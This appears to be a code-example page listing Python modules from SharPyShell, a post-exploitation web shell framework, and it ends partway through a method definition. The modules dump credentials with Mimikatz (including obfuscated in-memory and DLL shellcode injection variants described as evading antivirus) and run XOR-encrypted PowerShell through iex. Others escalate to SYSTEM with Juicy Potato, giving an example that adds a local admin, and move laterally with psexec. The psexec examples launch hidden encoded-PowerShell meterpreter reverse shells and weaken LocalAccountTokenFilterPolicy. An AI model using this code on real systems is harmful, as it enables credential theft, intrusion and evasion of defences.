示例#1
0
 def __init__(self, password, channel_enc_mode, module_settings,
              request_object):
     Module.__init__(self, password, channel_enc_mode, module_settings,
                     request_object)
     self.upload_module_object = Upload(password, channel_enc_mode,
                                        module_settings, request_object)
     self.ps_module_object = Exec_ps(password, channel_enc_mode,
                                     module_settings, request_object)
示例#2
0
 def __init__(self, password, channel_enc_mode, module_settings,
              request_object):
     Module.__init__(self, password, channel_enc_mode, module_settings,
                     request_object)
     self.upload_module_object = Upload(password, channel_enc_mode,
                                        module_settings, request_object)
     self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode,
                                            module_settings, request_object)
     self.runas_module_object = Runas(password, channel_enc_mode,
                                      module_settings, request_object)
     self.invoke_ps_module_object = Invoke_ps_module(
         password, channel_enc_mode, module_settings, request_object)
     self.invoke_ps_as_module_object = Invoke_ps_module_as(
         password, channel_enc_mode, module_settings, request_object)
 def __init__(self, password, channel_enc_mode, module_settings,
              request_object):
     Invoke_ps_module.__init__(self, password, channel_enc_mode,
                               module_settings, request_object)
     self.upload_module_object = Upload(password, channel_enc_mode,
                                        module_settings, request_object)
     self.runas_ps_object = Runas_ps(password, channel_enc_mode,
                                     module_settings, request_object)
示例#4
0
class Mimikatz(Module):
    _exception_class = MimikatzModuleException
    short_help = "Run an offline version of mimikatz directly in memory"
    complete_help = r"""
        Authors:    @gentilkiwi @PowerShellMafia
        Links:      https://github.com/gentilkiwi/mimikatz
                    https://github.com/PowerShellMafia/PowerSploit/blob/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1
        Credits:    @phra
        
        
        This module allows you to run mimikatz in a versatile way.
        Within this module it is possible to run mimikatz in 3 different ways:
            'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory;
            'exe': the classic mimikatz binary will be uploaded to the server and run with arguments;
            'dll': convert mimikatz dll into a position independent shellcode and inject into a remote process.
        It is recommended to run the ps1 version because it will be obfuscated and run from memory.
        The exe version will be just dropped as clear and could be catched by av scanners.
        The dll version is the most stealthy but it doesn't support impersonation atm.
        
            
        Usage:
            #mimikatz [exec_type] [username] [password] [domain] [custom_command]
        
        Positional arguments:
            exec_type               execution type for running mimikatz:
                                        'ps1' will upload and execute the powershell version of mimikatz
                                        'exe' will upload and execute the classic version of binary mimikatz
                                        'dll' will inject converted dll shellcode into a remote process
                                    Default: 'ps1'
            username                username of the user to runas the process
            password                password of the user to runas the process
            domain                  domain of the user to runas the process
            custom_command          based on exec_type, the custom command could be:
                                        - 'ps1' : powershell code to add to the ps1 mimikatz module;
                                        - 'exe' : command line arguments to the mimikatz binary;
                                        - 'dll' : command line arguments to be executed.
                                    Default:
                                        'ps1': ';Invoke-Mimikatz -DumpCreds'
                                        'exe': 'privilege::debug sekurlsa::logonpasswords exit'  
                                        'dll': 'privilege::debug sekurlsa::logonpasswords exit'  
        
        Examples:
            Run mimikatz as the current user
                #mimikatz
            Run mimikatz dll
                #mimikatz 'dll'
            Run mimikatz as a specific local user
                #mimikatz 'ps1' 'user1' 'password1'
            Run mimikatz as a specific domain user
                #mimikatz 'ps1' 'user1' 'password1' 'domain'
            Run exe version of mimikatz as the current user
                #mimikatz 'exe'
            Run exe version of mimikatz as a specific user
                #mimikatz 'exe' 'user1' 'password1'
            Run mimikatz with a custom command, i.e. dumping cert
                #mimikatz 'ps1' '' '' '' ';Invoke-Mimikatz -DumpCerts'
            Run mimikatz binary with a custom command, i.e. coffee :)
                #mimikatz 'exe' '' '' '' 'coffee exit'

    """

    __default_exec_type = 'ps1'
    __default_username = ''
    __default_password = ''
    __default_domain = ''
    __default_ps_command = ';Invoke-Mimikatz -DumpCreds'
    __default_exe_command = 'privilege::debug sekurlsa::logonpasswords exit'

    def __init__(self, password, channel_enc_mode, module_settings,
                 request_object):
        Module.__init__(self, password, channel_enc_mode, module_settings,
                        request_object)
        self.upload_module_object = Upload(password, channel_enc_mode,
                                           module_settings, request_object)
        self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode,
                                               module_settings, request_object)
        self.runas_module_object = Runas(password, channel_enc_mode,
                                         module_settings, request_object)
        self.invoke_ps_module_object = Invoke_ps_module(
            password, channel_enc_mode, module_settings, request_object)
        self.invoke_ps_as_module_object = Invoke_ps_module_as(
            password, channel_enc_mode, module_settings, request_object)
        self.inject_dll_srdi_module_object = Inject_dll_srdi(
            password, channel_enc_mode, module_settings, request_object)

    def __parse_run_args(self, args):
        args_parser = {k: v for k, v in enumerate(args)}
        exec_type = args_parser.get(0, self.__default_exec_type)
        username = args_parser.get(1, self.__default_username)
        password = args_parser.get(2, self.__default_password)
        domain = args_parser.get(3, self.__default_domain)
        custom_command = args_parser.get(
            4, self.__default_exe_command
            if exec_type != 'ps1' else self.__default_ps_command)
        return exec_type, username, password, domain, custom_command

    def __lookup_exe_binary(self):
        if 'mimikatz.exe' in self._module_settings.keys():
            bin_path = self._module_settings['mimikatz.exe']
        else:
            exe_path = config.modules_paths + 'exe_modules/mimikatz.exe'
            remote_upload_path = self._module_settings[
                'env_directory'] + '\\' + random_generator() + '.exe'
            print '\n\n\nUploading mimikatz binary....\n'
            upload_response = self._parse_response(
                self.upload_module_object.run([exe_path, remote_upload_path]))
            print upload_response
            self._module_settings['mimikatz.exe'] = remote_upload_path
            bin_path = remote_upload_path
        return bin_path

    def __run_exe_version(self, username, password, domain, custom_command):
        remote_upload_path = self.__lookup_exe_binary()
        if username == '':
            response = self.exec_cmd_module_object.run(
                ['""' + remote_upload_path + '""' + ' ' + custom_command])
        else:
            response = self.runas_module_object.run([
                remote_upload_path + ' ' + custom_command, username, password,
                domain
            ])
        parsed_response = self._parse_response(response)
        return parsed_response

    def __run_dll_version(self, username, custom_command):
        dll_name = 'powerkatz.dll'
        exported_function_name = 'powershell_reflective_mimikatz'
        log_file = self._module_settings[
            'env_directory'] + '\\' + random_generator()
        exported_function_data = str(
            ('"log ' + log_file + '" ' + custom_command +
             '\x00').encode('utf-16-le'))
        if username == '':
            print '\n\nInjecting converted DLL shellcode into remote process...'
            response = self.inject_dll_srdi_module_object.run([
                dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
                exported_function_name, exported_function_data
            ])
            response = self._parse_response(response)
            response += '\nDLL injection executed!\n\n\nOutput of mimikatz:\n\n'
            response += self._parse_response(
                self.exec_cmd_module_object.run(
                    ['type ' + log_file + ' & del /f /q ' + log_file]))
        else:
            raise self._exception_class(
                '#mimikatz: exec_type "dll" does not support the runas function atm\n'
            )
        parsed_response = self._parse_response(response)
        return parsed_response

    def __run_ps_version(self, username, password, domain, custom_command):
        if username == '':
            response = self.invoke_ps_module_object.run(
                ['Invoke-Mimikatz.ps1', custom_command])
        else:
            response = self.invoke_ps_as_module_object.run([
                'Invoke-Mimikatz.ps1', username, password, custom_command,
                domain
            ])
        parsed_response = self._parse_response(response)
        return parsed_response

    def run(self, args):
        try:
            exec_type, username, password, domain, custom_command = self.__parse_run_args(
                args)
            if exec_type == 'exe':
                response = self.__run_exe_version(username, password, domain,
                                                  custom_command)
            elif exec_type == 'dll':
                response = self.__run_dll_version(username, custom_command)
            else:
                response = self.__run_ps_version(username, password, domain,
                                                 custom_command)
            parsed_response = self._parse_response(response)
        except ModuleException as module_exc:
            parsed_response = str(module_exc)
        except Exception:
            parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
                              str(traceback.format_exc())
        return parsed_response
示例#5
0
class Invoke_ps_module(Module):
    _exception_class = InvokePsModuleModuleException
    short_help = "Run a ps1 script on the target server"
    complete_help = r"""
        This module upload and executes a powershell module that exists in the 'ps_modules/' SharPyShell directory.
        The ps1 module will be uploaded to the target server in an encrypted form and get decrypted at runtime in  
        memory.
        It is possible to execute additional code to the uploaded module in order to use functions inside of it or
        add additional behaviours. 
        
        Usage:
            #invoke_ps_module ps_module [appended_code]
            
        Positional arguments:
            ps_module               name of a .ps1 module existent in the 'ps_modules/' directory
            appended_code           powershell code to be run within the module uploaded
                                    Default: ''
        
        Examples:
            Upload and execute a simple module:
                #invoke_ps_module SharPyShell_Test.ps1
            Upload and execute a module using function defined in it:
                #invoke_ps_module PowerUp.ps1 ';Invoke-AllChecks'
    """

    _ps_code = ur"""
                $path_in_module="%s";
                $path_in_app_code="%s";
                $key=[System.Text.Encoding]::UTF8.GetBytes('%s');
                $enc_module=[System.IO.File]::ReadAllBytes($path_in_module);
                $enc_app_code=[System.IO.File]::ReadAllBytes($path_in_app_code);
                $dec_module=New-Object Byte[] $enc_module.Length;
                $dec_app_code=New-Object Byte[] $enc_app_code.Length;
                for ($i = 0; $i -lt $enc_module.Length; $i++) {
                    $dec_module[$i] = $enc_module[$i] -bxor $key[$i %% $key.Length];
                };
                for ($i = 0; $i -lt $enc_app_code.Length; $i++) {
                    $dec_app_code[$i] = $enc_app_code[$i] -bxor $key[$i %% $key.Length];
                };
                $dec_module=[System.Text.Encoding]::UTF8.GetString($dec_module);
                $dec_app_code=[System.Text.Encoding]::UTF8.GetString($dec_app_code);
                $($dec_module+$dec_app_code)|iex;
                Remove-Item -Path $path_in_app_code -Force 2>&1 | Out-Null;
    """

    _ps_code_no_appended_code = ur"""
                $path_in="%s";
                $key=[System.Text.Encoding]::UTF8.GetBytes('%s');
                $encrypted=[System.IO.File]::ReadAllBytes($path_in);
                $decrypted = New-Object Byte[] $encrypted.Length;
                for ($i = 0; $i -lt $encrypted.Length; $i++) {
                    $decrypted[$i] = $encrypted[$i] -bxor $key[$i %% $key.Length];
                };
                [System.Text.Encoding]::UTF8.GetString($decrypted)|iex; 
    """

    __default_appended_code = ''

    def __init__(self, password, channel_enc_mode, module_settings,
                 request_object):
        Module.__init__(self, password, channel_enc_mode, module_settings,
                        request_object)
        self.upload_module_object = Upload(password, channel_enc_mode,
                                           module_settings, request_object)
        self.ps_module_object = Exec_ps(password, channel_enc_mode,
                                        module_settings, request_object)

    def __parse_run_args(self, args):
        if len(args) < 1:
            raise self._exception_class(
                '#invoke_ps_module: Not enough arguments. 1 Argument required. \n'
            )
        args_parser = {k: v for k, v in enumerate(args)}
        ps_module = args_parser.get(0)
        appended_code = args_parser.get(1, self.__default_appended_code)
        return ps_module, appended_code

    def __xor_bytearray(self, byte_array):
        key = self._password
        for i in range(len(byte_array)):
            byte_array[i] ^= ord(key[i % len(key)])

    def __encrypt_ps_file(self, file_path):
        with open(file_path, 'rb') as ps_module_handle:
            byte_arr_ps_module = bytearray(ps_module_handle.read())
        self.__xor_bytearray(byte_arr_ps_module)
        return byte_arr_ps_module

    def _gen_encrypted_module(self, ps_module):
        ps_module_path = config.modules_paths + 'ps_modules/' + ps_module
        ps_enc_module_path = ps_module_path + random_generator()
        byte_arr_ps_module_encrypted = self.__encrypt_ps_file(ps_module_path)
        with open(ps_enc_module_path, 'wb') as ps_module_enc_handle:
            ps_module_enc_handle.write(byte_arr_ps_module_encrypted)
        return ps_enc_module_path

    def _gen_appended_code(self, appended_code):
        if appended_code == '':
            return ''
        if '""' in appended_code:
            appended_code = appended_code.replace('""', '"')
        enc_appended_code_path = config.modules_paths + 'ps_modules/' + random_generator(
        )
        byte_arr_app_module_encrypted = bytearray(appended_code)
        self.__xor_bytearray(byte_arr_app_module_encrypted)
        with open(enc_appended_code_path, 'wb') as file_handle:
            file_handle.write(byte_arr_app_module_encrypted)
        encrypted_app_code_path = self._module_settings[
            'env_directory'] + '\\' + random_generator()
        try:
            self._parse_response(
                self.upload_module_object.run(
                    [enc_appended_code_path, encrypted_app_code_path]))
        except Exception as exc:
            raise self._exception_class(str(exc))
        finally:
            if os.path.isfile(enc_appended_code_path):
                os.remove(enc_appended_code_path)
        return encrypted_app_code_path

    def _lookup_module(self, ps_module):
        if ps_module in self._module_settings.keys():
            encrypted_module_path = self._module_settings[ps_module]
        else:
            local_encrypted_module_path = self._gen_encrypted_module(ps_module)
            print '\n\n\nUploading encrypted ps module....\n'
            try:
                encrypted_module_path = self._module_settings[
                    'env_directory'] + '\\' + random_generator()
                upload_response = self._parse_response(
                    self.upload_module_object.run(
                        [local_encrypted_module_path, encrypted_module_path]))
                print upload_response
                self._module_settings[ps_module] = encrypted_module_path
            except Exception as exc:
                raise self._exception_class(str(exc))
            finally:
                if os.path.isfile(local_encrypted_module_path):
                    os.remove(local_encrypted_module_path)
        return encrypted_module_path

    def _create_request(self, args):
        enc_module_path = args[0]
        enc_appended_code = args[1]
        if enc_appended_code != '':
            ps_code = minify_code(
                self._ps_code %
                (enc_module_path, enc_appended_code, self._password))
        else:
            ps_code = minify_code(self._ps_code_no_appended_code %
                                  (enc_module_path, self._password))
        return ps_code

    def run(self, args):
        try:
            ps_module, appended_code = self.__parse_run_args(args)
            enc_module_path = self._lookup_module(ps_module)
            enc_appended_code_path = self._gen_appended_code(appended_code)
            ps_code = self._create_request(
                [enc_module_path, enc_appended_code_path])
            parsed_response = self._parse_response(
                self.ps_module_object.run([ps_code]))
            parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response
        except ModuleException as module_exc:
            parsed_response = str(module_exc)
        except Exception:
            parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' + str(
                traceback.format_exc())
        return parsed_response
示例#6
0
class Privesc_juicy_potato(Module):
    _exception_class = PrivescJuicyPotatoModuleException
    short_help = r"Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM"
    complete_help = r"""
        Juicy Potato is a Local Privilege Escalation tool that allows to escalate privileges from a Windows Service
        Accounts to NT AUTHORITY\SYSTEM.
        This permits to run an os command as the most privileged user 'NT AUTHORITY\SYSTEM'.
        It is needed that the service account running w3wp.exe has the permission of 'SeImpersonatePrivilege' enabled. 
        You can check it with 'whoami /priv' 
        
        This vulnerability is no longer exploitable with Windows Server 2019:
        https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/
        
        Source Code:
            https://github.com/ohpe/juicy-potato
            
        Usage:
            #privesc_juicy_potato cmd [custom_args]
        
        Positional arguments:
            cmd             command supported by cmd.exe
            custom_args     command line parameters to be passed to juicy potato binary
                            Default: ' -t * -l ' + str(random.randint(10000, 65000)) + ' -p '
        
        Examples:
            Add a new local admin:
                #privesc_juicy_potato 'net user /add admin_test JuicyAdmin_1 & net localgroup Administrators admin_test /add'
    """

    _runtime_code = ur"""
                   using System;using System.IO;using System.Diagnostics;using System.Text;
                   public class SharPyShell
                   {                    
                       string ExecCmd(string exe_path, string custom_args, string cmd, string working_path)
                       {
                           string cmd_path = Environment.GetEnvironmentVariable("ComSpec");
                           ProcessStartInfo pinfo = new ProcessStartInfo();
                           pinfo.FileName = exe_path;
                           pinfo.Arguments = custom_args + " " + cmd_path + " -a \" " + cmd_path + " /c " + cmd + "\"";
                           pinfo.RedirectStandardOutput = true;
                           pinfo.RedirectStandardError = true;
                           pinfo.UseShellExecute = false;
                           pinfo.WorkingDirectory = working_path;
                           Process p = new Process();
                           try{
                               p = Process.Start(pinfo);
                           }
                           catch (Exception e){
                               return "{{{SharPyShellError}}}\n" + e;
                           }
                           StreamReader stmrdr_output = p.StandardOutput;
                           StreamReader stmrdr_errors = p.StandardError;
                           string output = "";
                           string stand_out = stmrdr_output.ReadToEnd();
                           string stand_errors = stmrdr_errors.ReadToEnd();
                           stmrdr_output.Close();
                           stmrdr_errors.Close();
                           if (!String.IsNullOrEmpty(stand_out))
                               output = output + stand_out;
                           if (!String.IsNullOrEmpty(stand_errors))
                               output = "{{{SharPyShellError}}}\n" + output + stand_errors;
                           return output;
                       }

                       public byte[] ExecRuntime()
                       {
                           string output_func=ExecCmd(@"%s", @"%s", @"%s", @"%s");
                           byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
                           return(output_func_byte);
                       }
                   }
                   """

    __default_custom_args = ' -t * -l ' + str(random.randint(10000,
                                                             65000)) + ' -p '

    def __init__(self, password, channel_enc_mode, module_settings,
                 request_object):
        Module.__init__(self, password, channel_enc_mode, module_settings,
                        request_object)
        self.upload_module_object = Upload(password, channel_enc_mode,
                                           module_settings, request_object)
        self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode,
                                               module_settings, request_object)

    def __parse_run_args(self, args):
        if len(args) < 1:
            raise self._exception_class(
                '#privesc_juicy_potato : Not enough arguments.1 Argument required. \n'
            )
        args_parser = {k: v for k, v in enumerate(args)}
        cmd = args_parser.get(0)
        custom_args = args_parser.get(1, self.__default_custom_args)
        return cmd, custom_args

    def __lookup_binary(self):
        if 'JuicyPotato.exe' in self._module_settings.keys():
            bin_path = self._module_settings['JuicyPotato.exe']
        else:
            exe_path = config.modules_paths + 'exe_modules/JuicyPotato.exe'
            remote_upload_path = self._module_settings[
                'env_directory'] + '\\' + random_generator() + '.exe'
            print '\n\n\nUploading Juicy Potato binary....\n'
            upload_response = self._parse_response(
                self.upload_module_object.run([exe_path, remote_upload_path]))
            print upload_response
            self._module_settings['JuicyPotato.exe'] = remote_upload_path
            bin_path = remote_upload_path
        return bin_path

    def _create_request(self, args):
        exe_path, custom_args, cmd = args
        working_path = self._module_settings['working_directory']
        return self._runtime_code % (exe_path, custom_args, cmd, working_path)

    def run(self, args):
        try:
            cmd, custom_args = self.__parse_run_args(args)
            upload_path = self.__lookup_binary()
            request = self._create_request([upload_path, custom_args, cmd])
            encrypted_request = self._encrypt_request(request)
            encrypted_response = self._post_request(encrypted_request)
            decrypted_response = self._decrypt_response(encrypted_response)
            parsed_response = self._parse_response(decrypted_response)
            parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response
        except ModuleException as module_exc:
            parsed_response = str(module_exc)
        except Exception:
            parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' + str(
                traceback.format_exc())
        return parsed_response
示例#7
0
class Lateral_psexec(Module):
    _exception_class = LateralPsexecModuleException
    short_help = "Run psexec binary to move laterally"
    complete_help = r"""
        This module upload and run the psexec binary in order to launch commands on a remote windows system.
        This will result in a lateral movement if shared credentials are known.
        
        Note that if you use local users credentials you should ensure that, on the target server, the feature
        "LocalAccountTokenFilterPolicy" is disabled.
        To disable that you need to add the following regkey with the value of 1:
        
        HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy
        
        example command:
            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
        
        If you use domain users for the lateral movement, no restrictions to the process token will be applied.
        
        This module should be run from a privileged user.
        If the application pool within the web application you are interacting with is run with application pool
        identity account or any limited account you won't be able to move laterally to other systems
        due to restrictions applied to the user.
        In those cases, you need to use different credentials of a more privileged user in order to launch this module.
                       
        Usage:
            #lateral_psexec target_ip username password command [local_user] [local_password] [local_domain]
        
        Positional arguments:
            target_ip               the ip of the remote server
            username                username of the user to use to login on the target server 
                                    you can specify domain\username if user is in a domain
            password                password of the user to use to login on the target server
            command                 a command compatible by cmd.exe
            [runas_system]          if set to 'true', it will try to run psexec as system on the target remote server
                                    Default: 'false'
            [local_user]            the username of a local user with privileged rights
            [local_password]        the password of a local user with privileged rights
            [local_domain]          the domain of a local user with privileged rights
                                        
        Examples:
            Lateral movement as privileged current application pool user, output to local shared resource:
                 #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' 'whoami /priv > \\192.168.56.101\everyone\output.txt' 
            Lateral movement as privileged local user using meterpreter http reverse shell (format psh-cmd):
                 #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'local_privileged_user1' 'local_privileged_password1'
            Lateral movement as privileged domain user using meterpreter http reverse shell (format psh-cmd):
                 #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'false' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'
            Lateral movement as privileged domain user and as SYSTEM on remote machine using meterpreter http reverse shell (format psh-cmd):
                 #lateral_psexec 192.168.56.102 'remote_user1' 'remote_password1' '%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmA.......HMAKQA7AA==' 'true' 'domain_privileged_user1' 'domain_privileged_password1' 'domain_1'

    """

    _runtime_code = ur"""
                    using System;using System.IO;using System.Diagnostics;using System.Text;
                    public class SharPyShell
                    {                    
                        string LateralPsexec(string psexec_path, string arg, string working_path)
                        {
                            ProcessStartInfo pinfo = new ProcessStartInfo();
                            pinfo.FileName = psexec_path;
                            pinfo.Arguments = arg;
                            pinfo.RedirectStandardOutput = true;
                            pinfo.RedirectStandardError = true;
                            pinfo.UseShellExecute = false;
                            pinfo.WorkingDirectory = working_path;
                            Process p = new Process();
                            try{
                                p = Process.Start(pinfo);
                            }
                            catch (Exception e){
                                return "{{{SharPyShellError}}}\n" + e;
                            }
                            StreamReader stmrdr_output = p.StandardOutput;
                            StreamReader stmrdr_errors = p.StandardError;
                            string output = "";
                            string stand_out = stmrdr_output.ReadToEnd();
                            string stand_errors = stmrdr_errors.ReadToEnd();
                            stmrdr_output.Close();
                            stmrdr_errors.Close();
                            if (!String.IsNullOrEmpty(stand_out))
                                output = output + stand_out;
                            if (!String.IsNullOrEmpty(stand_errors))
                                output = output + "\n\n" + stand_errors + "\n";
                            return output;
                        }

                        public byte[] ExecRuntime()
                        {
                            string output_func=LateralPsexec(@"%s", @"%s", @"%s");
                            byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
                            return(output_func_byte);
                        }
                    }
                    """

    _runtime_code_runas = ur"""
                    using System;using System.IO;using System.Diagnostics;using System.Text;
                    using System.Runtime.InteropServices;using System.Security.Principal;using System.Security.Permissions;using System.Security;using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;

                    public class SharPyShell
                    {
                        public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
                        {
                            private SafeTokenHandle()
                                : base(true)
                            {
                            }

                            [DllImport("kernel32.dll")]
                            [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
                            [SuppressUnmanagedCodeSecurity]
                            [return: MarshalAs(UnmanagedType.Bool)]
                            private static extern bool CloseHandle(IntPtr handle);

                            protected override bool ReleaseHandle()
                            {
                                return CloseHandle(handle);
                            }
                        }

                        [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
                        {
                        public int cb;
                        public String lpReserved;
                        public String lpDesktop;
                        public String lpTitle;
                        public uint dwX;
                        public uint dwY;
                        public uint dwXSize;
                        public uint dwYSize;
                        public uint dwXCountChars;
                        public uint dwYCountChars;
                        public uint dwFillAttribute;
                        public uint dwFlags;
                        public short wShowWindow;
                        public short cbReserved2;
                        public IntPtr lpReserved2;
                        public IntPtr hStdInput;
                        public IntPtr hStdOutput;
                        public IntPtr hStdError;
                        }

                        [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
                        {
                        public IntPtr hProcess;
                        public IntPtr hThread;
                        public uint   dwProcessId;
                        public uint   dwThreadId;
                        }

                        [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
                        {
                        public int    Length;
                        public IntPtr lpSecurityDescriptor;
                        public bool   bInheritHandle;
                        }

                        [DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
                        public static extern bool CloseHandle(IntPtr handle);

                        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
                        public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);

                        [DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
                        public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

                        [DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
                        public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);

                        [DllImport("kernel32.dll", SetLastError=true)]
                        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

                        const uint WAIT_ABANDONED = 0x00000080;
                        const uint WAIT_OBJECT_0 = 0x00000000;
                        const uint WAIT_TIMEOUT = 0x00000102;

                        [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]                    
                        public string LateralPsexecRunas(string psexec_path, string userName, string password, string domainName, string psexec_arguments, string stdout_file, string stderr_file, string working_directory)
                        {
                            SafeTokenHandle safeTokenHandle;
                            int logon_type = 4;
                            uint process_ms_timeout = 60000;
                            string output = "";
                            string error_string = "{{{SharPyShellError}}}";
                            try
                            {
                                const int LOGON32_PROVIDER_DEFAULT = 0;
                                const int LOGON32_PROVIDER_WINNT35 = 1;
                                const int LOGON32_PROVIDER_WINNT40 = 2;
                                const int LOGON32_PROVIDER_WINNT50 = 3;
                                bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
                                if (false == returnValue)
                                {
                                    output += error_string + "\nWrong Credentials. LogonUser failed with error code : " + Marshal.GetLastWin32Error();
                                    return output;
                                }
                                using (safeTokenHandle)
                                {
                                    using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
                                    {
                                        using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
                                        {
                                            IntPtr Token = new IntPtr(0);
                                            IntPtr DupedToken = new IntPtr(0);
                                            bool      ret;
                                            SECURITY_ATTRIBUTES sa  = new SECURITY_ATTRIBUTES();
                                            sa.bInheritHandle       = false;
                                            sa.Length               = Marshal.SizeOf(sa);
                                            sa.lpSecurityDescriptor = (IntPtr)0;
                                            Token = WindowsIdentity.GetCurrent().Token;
                                            const uint GENERIC_ALL = 0x10000000;
                                            const int SecurityImpersonation = 2;
                                            const int TokenType = 1;
                                            ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
                                            if (ret == false){
                                                 output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
                                                return output;
                                            }
                                            STARTUPINFO si          = new STARTUPINFO();
                                            si.cb                   = Marshal.SizeOf(si);
                                            si.lpDesktop            = "";
                                            string commandLinePath = "";
                                            File.Create(stdout_file).Dispose();
                                            File.Create(stderr_file).Dispose();
                                            string cmd_path = commandLinePath =  Environment.GetEnvironmentVariable("ComSpec");
                                            commandLinePath =  cmd_path + " /c " + psexec_path + " " + psexec_arguments + " >> " + stdout_file + " 2>>" + stderr_file;
                                            PROCESS_INFORMATION pi  = new PROCESS_INFORMATION();
                                            ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
                                            if (ret == false){
                                                output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
                                                return output;
                                            }
                                            else{
                                                uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
                                                if(wait_for == WAIT_OBJECT_0){
                                                    string errors = File.ReadAllText(stderr_file);
                                                    if (!String.IsNullOrEmpty(errors))
                                                        output += "\n" + errors;
                                                    output += "\n" + File.ReadAllText(stdout_file);
                                                }
                                                else{
                                                    output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " +  Marshal.GetLastWin32Error();
                                                }
                                                File.Delete(stdout_file);
                                                File.Delete(stderr_file);
                                                CloseHandle(pi.hProcess);
                                                CloseHandle(pi.hThread);
                                            }
                                            CloseHandle(DupedToken);
                                        }
                                    }
                                }
                            }
                            catch (Exception ex)
                            {
                                output += error_string + "\nException occurred. " + ex.Message;
                                return output;
                            }
                        return output;
                        }

                        public byte[] ExecRuntime()
                        {
                            string output_func=LateralPsexecRunas(@"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s", @"%s");
                            byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);
                            return(output_func_byte);
                        }
                    }
                    """

    __default_runas_system = 'false'
    __default_local_user = ''
    __default_local_password = ''
    __default_local_domain = ''
    __psexec_code_arguments = ur'-accepteula \\%s -u ""%s"" -p ""%s"" %s cmd /c ""%s""'

    def __init__(self, password, channel_enc_mode, module_settings,
                 request_object):
        Module.__init__(self, password, channel_enc_mode, module_settings,
                        request_object)
        self.upload_module_object = Upload(password, channel_enc_mode,
                                           module_settings, request_object)

    def __lookup_psexec_binary(self):
        if 'psexec.exe' in self._module_settings.keys():
            bin_path = self._module_settings['psexec.exe']
        else:
            exe_path = config.modules_paths + 'exe_modules/psexec.exe'
            remote_upload_path = self._module_settings[
                'env_directory'] + '\\' + random_generator() + '.exe'
            print '\n\n\nUploading psexec binary....\n'
            upload_response = self._parse_response(
                self.upload_module_object.run([exe_path, remote_upload_path]))
            print upload_response
            self._module_settings['psexec.exe'] = remote_upload_path
            bin_path = remote_upload_path
        return bin_path

    def __run_as_current_user(self, psexec_path, psexec_code_arguments):
        request = self._create_request(
            [psexec_code_arguments, psexec_path, 'current_user'])
        encrypted_request = self._encrypt_request(request)
        encrypted_response = self._post_request(encrypted_request)
        decrypted_response = self._decrypt_response(encrypted_response)
        return decrypted_response

    def __run_as(self, psexec_path, psexec_code_arguments, local_user,
                 local_password, local_domain):
